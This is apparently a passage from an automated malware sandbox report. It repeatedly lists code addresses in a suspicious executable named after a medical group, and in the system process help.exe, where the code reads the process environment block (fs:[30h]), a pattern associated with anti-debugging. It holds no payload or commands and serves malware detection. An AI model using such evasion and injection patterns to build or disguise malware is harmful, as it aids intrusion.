Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E39B171 mov eax, dword ptr fs:[00000030h]	22_2_1E39B171
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E39B171 mov eax, dword ptr fs:[00000030h]	22_2_1E39B171
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E39C962 mov eax, dword ptr fs:[00000030h]	22_2_1E39C962
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3BB944 mov eax, dword ptr fs:[00000030h]	22_2_1E3BB944
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3BB944 mov eax, dword ptr fs:[00000030h]	22_2_1E3BB944
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C61A0 mov eax, dword ptr fs:[00000030h]	22_2_1E3C61A0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C61A0 mov eax, dword ptr fs:[00000030h]	22_2_1E3C61A0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4241E8 mov eax, dword ptr fs:[00000030h]	22_2_1E4241E8
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C2990 mov eax, dword ptr fs:[00000030h]	22_2_1E3C2990
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3BC182 mov eax, dword ptr fs:[00000030h]	22_2_1E3BC182
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CA185 mov eax, dword ptr fs:[00000030h]	22_2_1E3CA185
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E39B1E1 mov eax, dword ptr fs:[00000030h]	22_2_1E39B1E1
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E39B1E1 mov eax, dword ptr fs:[00000030h]	22_2_1E39B1E1
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E39B1E1 mov eax, dword ptr fs:[00000030h]	22_2_1E39B1E1
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4549A4 mov eax, dword ptr fs:[00000030h]	22_2_1E4549A4
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4549A4 mov eax, dword ptr fs:[00000030h]	22_2_1E4549A4
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4549A4 mov eax, dword ptr fs:[00000030h]	22_2_1E4549A4
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4549A4 mov eax, dword ptr fs:[00000030h]	22_2_1E4549A4
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4169A6 mov eax, dword ptr fs:[00000030h]	22_2_1E4169A6
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4151BE mov eax, dword ptr fs:[00000030h]	22_2_1E4151BE
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4151BE mov eax, dword ptr fs:[00000030h]	22_2_1E4151BE
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4151BE mov eax, dword ptr fs:[00000030h]	22_2_1E4151BE
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4151BE mov eax, dword ptr fs:[00000030h]	22_2_1E4151BE
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_0056661B mov eax, dword ptr fs:[00000030h]	22_2_0056661B
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00566601 mov eax, dword ptr fs:[00000030h]	22_2_00566601
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_0056662E mov eax, dword ptr fs:[00000030h]	22_2_0056662E
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00563282 mov eax, dword ptr fs:[00000030h]	22_2_00563282
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_0056532B mov eax, dword ptr fs:[00000030h]	22_2_0056532B
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00565BDE mov eax, dword ptr fs:[00000030h]	22_2_00565BDE
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0388138A mov eax, dword ptr fs:[00000030h]	28_2_0388138A
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F3B7A mov eax, dword ptr fs:[00000030h]	28_2_037F3B7A
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F3B7A mov eax, dword ptr fs:[00000030h]	28_2_037F3B7A
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0387D380 mov ecx, dword ptr fs:[00000030h]	28_2_0387D380
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037CDB60 mov ecx, dword ptr fs:[00000030h]	28_2_037CDB60
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037CF358 mov eax, dword ptr fs:[00000030h]	28_2_037CF358
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03895BA5 mov eax, dword ptr fs:[00000030h]	28_2_03895BA5
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037CDB40 mov eax, dword ptr fs:[00000030h]	28_2_037CDB40
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038453CA mov eax, dword ptr fs:[00000030h]	28_2_038453CA
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038453CA mov eax, dword ptr fs:[00000030h]	28_2_038453CA
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0388131B mov eax, dword ptr fs:[00000030h]	28_2_0388131B
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EDBE9 mov eax, dword ptr fs:[00000030h]	28_2_037EDBE9
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F03E2 mov eax, dword ptr fs:[00000030h]	28_2_037F03E2
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F03E2 mov eax, dword ptr fs:[00000030h]	28_2_037F03E2
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F03E2 mov eax, dword ptr fs:[00000030h]	28_2_037F03E2
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F03E2 mov eax, dword ptr fs:[00000030h]	28_2_037F03E2
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F03E2 mov eax, dword ptr fs:[00000030h]	28_2_037F03E2
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F03E2 mov eax, dword ptr fs:[00000030h]	28_2_037F03E2
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03898B58 mov eax, dword ptr fs:[00000030h]	28_2_03898B58
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F4BAD mov eax, dword ptr fs:[00000030h]	28_2_037F4BAD
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F4BAD mov eax, dword ptr fs:[00000030h]	28_2_037F4BAD
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F4BAD mov eax, dword ptr fs:[00000030h]	28_2_037F4BAD
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F2397 mov eax, dword ptr fs:[00000030h]	28_2_037F2397
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037FB390 mov eax, dword ptr fs:[00000030h]	28_2_037FB390
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D1B8F mov eax, dword ptr fs:[00000030h]	28_2_037D1B8F
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D1B8F mov eax, dword ptr fs:[00000030h]	28_2_037D1B8F
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C9240 mov eax, dword ptr fs:[00000030h]	28_2_037C9240
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C9240 mov eax, dword ptr fs:[00000030h]	28_2_037C9240
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C9240 mov eax, dword ptr fs:[00000030h]	28_2_037C9240
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C9240 mov eax, dword ptr fs:[00000030h]	28_2_037C9240
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EA229 mov eax, dword ptr fs:[00000030h]	28_2_037EA229
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EA229 mov eax, dword ptr fs:[00000030h]	28_2_037EA229
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EA229 mov eax, dword ptr fs:[00000030h]	28_2_037EA229
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EA229 mov eax, dword ptr fs:[00000030h]	28_2_037EA229
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EA229 mov eax, dword ptr fs:[00000030h]	28_2_037EA229
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EA229 mov eax, dword ptr fs:[00000030h]	28_2_037EA229
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EA229 mov eax, dword ptr fs:[00000030h]	28_2_037EA229
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EA229 mov eax, dword ptr fs:[00000030h]	28_2_037EA229
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EA229 mov eax, dword ptr fs:[00000030h]	28_2_037EA229
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037E3A1C mov eax, dword ptr fs:[00000030h]	28_2_037E3A1C
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037CAA16 mov eax, dword ptr fs:[00000030h]	28_2_037CAA16
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037CAA16 mov eax, dword ptr fs:[00000030h]	28_2_037CAA16
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C5210 mov eax, dword ptr fs:[00000030h]	28_2_037C5210
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C5210 mov ecx, dword ptr fs:[00000030h]	28_2_037C5210
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C5210 mov eax, dword ptr fs:[00000030h]	28_2_037C5210
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C5210 mov eax, dword ptr fs:[00000030h]	28_2_037C5210
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D8A0A mov eax, dword ptr fs:[00000030h]	28_2_037D8A0A
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F2AE4 mov eax, dword ptr fs:[00000030h]	28_2_037F2AE4
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0388AA16 mov eax, dword ptr fs:[00000030h]	28_2_0388AA16
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0388AA16 mov eax, dword ptr fs:[00000030h]	28_2_0388AA16
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03804A2C mov eax, dword ptr fs:[00000030h]	28_2_03804A2C
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03804A2C mov eax, dword ptr fs:[00000030h]	28_2_03804A2C
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F2ACB mov eax, dword ptr fs:[00000030h]	28_2_037F2ACB
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037DAAB0 mov eax, dword ptr fs:[00000030h]	28_2_037DAAB0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037DAAB0 mov eax, dword ptr fs:[00000030h]	28_2_037DAAB0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037FFAB0 mov eax, dword ptr fs:[00000030h]	28_2_037FFAB0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03854257 mov eax, dword ptr fs:[00000030h]	28_2_03854257
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C52A5 mov eax, dword ptr fs:[00000030h]	28_2_037C52A5
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C52A5 mov eax, dword ptr fs:[00000030h]	28_2_037C52A5
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C52A5 mov eax, dword ptr fs:[00000030h]	28_2_037C52A5
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C52A5 mov eax, dword ptr fs:[00000030h]	28_2_037C52A5
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C52A5 mov eax, dword ptr fs:[00000030h]	28_2_037C52A5
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0388EA55 mov eax, dword ptr fs:[00000030h]	28_2_0388EA55
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0387B260 mov eax, dword ptr fs:[00000030h]	28_2_0387B260
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0387B260 mov eax, dword ptr fs:[00000030h]	28_2_0387B260
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037FD294 mov eax, dword ptr fs:[00000030h]	28_2_037FD294
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037FD294 mov eax, dword ptr fs:[00000030h]	28_2_037FD294
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03898A62 mov eax, dword ptr fs:[00000030h]	28_2_03898A62
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0380927A mov eax, dword ptr fs:[00000030h]	28_2_0380927A
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037CB171 mov eax, dword ptr fs:[00000030h]	28_2_037CB171
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037CB171 mov eax, dword ptr fs:[00000030h]	28_2_037CB171
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037CC962 mov eax, dword ptr fs:[00000030h]	28_2_037CC962
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038469A6 mov eax, dword ptr fs:[00000030h]	28_2_038469A6
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038849A4 mov eax, dword ptr fs:[00000030h]	28_2_038849A4
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038849A4 mov eax, dword ptr fs:[00000030h]	28_2_038849A4
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038849A4 mov eax, dword ptr fs:[00000030h]	28_2_038849A4
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038849A4 mov eax, dword ptr fs:[00000030h]	28_2_038849A4
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EB944 mov eax, dword ptr fs:[00000030h]	28_2_037EB944
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EB944 mov eax, dword ptr fs:[00000030h]	28_2_037EB944
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038451BE mov eax, dword ptr fs:[00000030h]	28_2_038451BE
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038451BE mov eax, dword ptr fs:[00000030h]	28_2_038451BE
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038451BE mov eax, dword ptr fs:[00000030h]	28_2_038451BE
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038451BE mov eax, dword ptr fs:[00000030h]	28_2_038451BE
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F513A mov eax, dword ptr fs:[00000030h]	28_2_037F513A
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F513A mov eax, dword ptr fs:[00000030h]	28_2_037F513A
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037E4120 mov eax, dword ptr fs:[00000030h]	28_2_037E4120
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037E4120 mov eax, dword ptr fs:[00000030h]	28_2_037E4120
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037E4120 mov eax, dword ptr fs:[00000030h]	28_2_037E4120
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037E4120 mov eax, dword ptr fs:[00000030h]	28_2_037E4120
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037E4120 mov ecx, dword ptr fs:[00000030h]	28_2_037E4120
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038541E8 mov eax, dword ptr fs:[00000030h]	28_2_038541E8
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C9100 mov eax, dword ptr fs:[00000030h]	28_2_037C9100
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C9100 mov eax, dword ptr fs:[00000030h]	28_2_037C9100
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C9100 mov eax, dword ptr fs:[00000030h]	28_2_037C9100
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037CB1E1 mov eax, dword ptr fs:[00000030h]	28_2_037CB1E1
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037CB1E1 mov eax, dword ptr fs:[00000030h]	28_2_037CB1E1
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037CB1E1 mov eax, dword ptr fs:[00000030h]	28_2_037CB1E1
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F61A0 mov eax, dword ptr fs:[00000030h]	28_2_037F61A0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F61A0 mov eax, dword ptr fs:[00000030h]	28_2_037F61A0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F2990 mov eax, dword ptr fs:[00000030h]	28_2_037F2990
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037FA185 mov eax, dword ptr fs:[00000030h]	28_2_037FA185
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EC182 mov eax, dword ptr fs:[00000030h]	28_2_037EC182
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03843884 mov eax, dword ptr fs:[00000030h]	28_2_03843884
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03843884 mov eax, dword ptr fs:[00000030h]	28_2_03843884
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037E0050 mov eax, dword ptr fs:[00000030h]	28_2_037E0050
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037E0050 mov eax, dword ptr fs:[00000030h]	28_2_037E0050
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038090AF mov eax, dword ptr fs:[00000030h]	28_2_038090AF
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EA830 mov eax, dword ptr fs:[00000030h]	28_2_037EA830
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EA830 mov eax, dword ptr fs:[00000030h]	28_2_037EA830
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EA830 mov eax, dword ptr fs:[00000030h]	28_2_037EA830
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EA830 mov eax, dword ptr fs:[00000030h]	28_2_037EA830
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F002D mov eax, dword ptr fs:[00000030h]	28_2_037F002D
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F002D mov eax, dword ptr fs:[00000030h]	28_2_037F002D
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F002D mov eax, dword ptr fs:[00000030h]	28_2_037F002D
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F002D mov eax, dword ptr fs:[00000030h]	28_2_037F002D
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F002D mov eax, dword ptr fs:[00000030h]	28_2_037F002D
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0385B8D0 mov eax, dword ptr fs:[00000030h]	28_2_0385B8D0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0385B8D0 mov ecx, dword ptr fs:[00000030h]	28_2_0385B8D0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0385B8D0 mov eax, dword ptr fs:[00000030h]	28_2_0385B8D0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0385B8D0 mov eax, dword ptr fs:[00000030h]	28_2_0385B8D0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0385B8D0 mov eax, dword ptr fs:[00000030h]	28_2_0385B8D0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0385B8D0 mov eax, dword ptr fs:[00000030h]	28_2_0385B8D0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037DB02A mov eax, dword ptr fs:[00000030h]	28_2_037DB02A
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037DB02A mov eax, dword ptr fs:[00000030h]	28_2_037DB02A
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037DB02A mov eax, dword ptr fs:[00000030h]	28_2_037DB02A
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037DB02A mov eax, dword ptr fs:[00000030h]	28_2_037DB02A
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C58EC mov eax, dword ptr fs:[00000030h]	28_2_037C58EC
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03847016 mov eax, dword ptr fs:[00000030h]	28_2_03847016
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03847016 mov eax, dword ptr fs:[00000030h]	28_2_03847016
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03847016 mov eax, dword ptr fs:[00000030h]	28_2_03847016
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03894015 mov eax, dword ptr fs:[00000030h]	28_2_03894015
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03894015 mov eax, dword ptr fs:[00000030h]	28_2_03894015
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C40E1 mov eax, dword ptr fs:[00000030h]	28_2_037C40E1
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C40E1 mov eax, dword ptr fs:[00000030h]	28_2_037C40E1
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C40E1 mov eax, dword ptr fs:[00000030h]	28_2_037C40E1
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037FF0BF mov ecx, dword ptr fs:[00000030h]	28_2_037FF0BF
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037FF0BF mov eax, dword ptr fs:[00000030h]	28_2_037FF0BF
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037FF0BF mov eax, dword ptr fs:[00000030h]	28_2_037FF0BF
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F20A0 mov eax, dword ptr fs:[00000030h]	28_2_037F20A0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F20A0 mov eax, dword ptr fs:[00000030h]	28_2_037F20A0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F20A0 mov eax, dword ptr fs:[00000030h]	28_2_037F20A0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F20A0 mov eax, dword ptr fs:[00000030h]	28_2_037F20A0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F20A0 mov eax, dword ptr fs:[00000030h]	28_2_037F20A0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F20A0 mov eax, dword ptr fs:[00000030h]	28_2_037F20A0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03882073 mov eax, dword ptr fs:[00000030h]	28_2_03882073
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C9080 mov eax, dword ptr fs:[00000030h]	28_2_037C9080
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03891074 mov eax, dword ptr fs:[00000030h]	28_2_03891074
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03847794 mov eax, dword ptr fs:[00000030h]	28_2_03847794
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03847794 mov eax, dword ptr fs:[00000030h]	28_2_03847794
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03847794 mov eax, dword ptr fs:[00000030h]	28_2_03847794
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037DFF60 mov eax, dword ptr fs:[00000030h]	28_2_037DFF60
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037DEF40 mov eax, dword ptr fs:[00000030h]	28_2_037DEF40
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037FE730 mov eax, dword ptr fs:[00000030h]	28_2_037FE730
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C4F2E mov eax, dword ptr fs:[00000030h]	28_2_037C4F2E
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C4F2E mov eax, dword ptr fs:[00000030h]	28_2_037C4F2E
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EF716 mov eax, dword ptr fs:[00000030h]	28_2_037EF716
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037FA70E mov eax, dword ptr fs:[00000030h]	28_2_037FA70E
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037FA70E mov eax, dword ptr fs:[00000030h]	28_2_037FA70E
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038037F5 mov eax, dword ptr fs:[00000030h]	28_2_038037F5
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0389070D mov eax, dword ptr fs:[00000030h]	28_2_0389070D
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0389070D mov eax, dword ptr fs:[00000030h]	28_2_0389070D
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0385FF10 mov eax, dword ptr fs:[00000030h]	28_2_0385FF10
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0385FF10 mov eax, dword ptr fs:[00000030h]	28_2_0385FF10
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03898F6A mov eax, dword ptr fs:[00000030h]	28_2_03898F6A
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D8794 mov eax, dword ptr fs:[00000030h]	28_2_037D8794
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0385FE87 mov eax, dword ptr fs:[00000030h]	28_2_0385FE87
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EAE73 mov eax, dword ptr fs:[00000030h]	28_2_037EAE73
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EAE73 mov eax, dword ptr fs:[00000030h]	28_2_037EAE73
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EAE73 mov eax, dword ptr fs:[00000030h]	28_2_037EAE73
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EAE73 mov eax, dword ptr fs:[00000030h]	28_2_037EAE73
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EAE73 mov eax, dword ptr fs:[00000030h]	28_2_037EAE73
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D766D mov eax, dword ptr fs:[00000030h]	28_2_037D766D
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038446A7 mov eax, dword ptr fs:[00000030h]	28_2_038446A7
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03890EA5 mov eax, dword ptr fs:[00000030h]	28_2_03890EA5
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03890EA5 mov eax, dword ptr fs:[00000030h]	28_2_03890EA5
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03890EA5 mov eax, dword ptr fs:[00000030h]	28_2_03890EA5
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D7E41 mov eax, dword ptr fs:[00000030h]	28_2_037D7E41
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D7E41 mov eax, dword ptr fs:[00000030h]	28_2_037D7E41
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D7E41 mov eax, dword ptr fs:[00000030h]	28_2_037D7E41
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D7E41 mov eax, dword ptr fs:[00000030h]	28_2_037D7E41
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D7E41 mov eax, dword ptr fs:[00000030h]	28_2_037D7E41
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D7E41 mov eax, dword ptr fs:[00000030h]	28_2_037D7E41
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03808EC7 mov eax, dword ptr fs:[00000030h]	28_2_03808EC7
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0387FEC0 mov eax, dword ptr fs:[00000030h]	28_2_0387FEC0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037CE620 mov eax, dword ptr fs:[00000030h]	28_2_037CE620
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03898ED6 mov eax, dword ptr fs:[00000030h]	28_2_03898ED6
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037FA61C mov eax, dword ptr fs:[00000030h]	28_2_037FA61C
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037FA61C mov eax, dword ptr fs:[00000030h]	28_2_037FA61C
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037CC600 mov eax, dword ptr fs:[00000030h]	28_2_037CC600
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037CC600 mov eax, dword ptr fs:[00000030h]	28_2_037CC600
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037CC600 mov eax, dword ptr fs:[00000030h]	28_2_037CC600
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F8E00 mov eax, dword ptr fs:[00000030h]	28_2_037F8E00
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03881608 mov eax, dword ptr fs:[00000030h]	28_2_03881608
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F16E0 mov ecx, dword ptr fs:[00000030h]	28_2_037F16E0
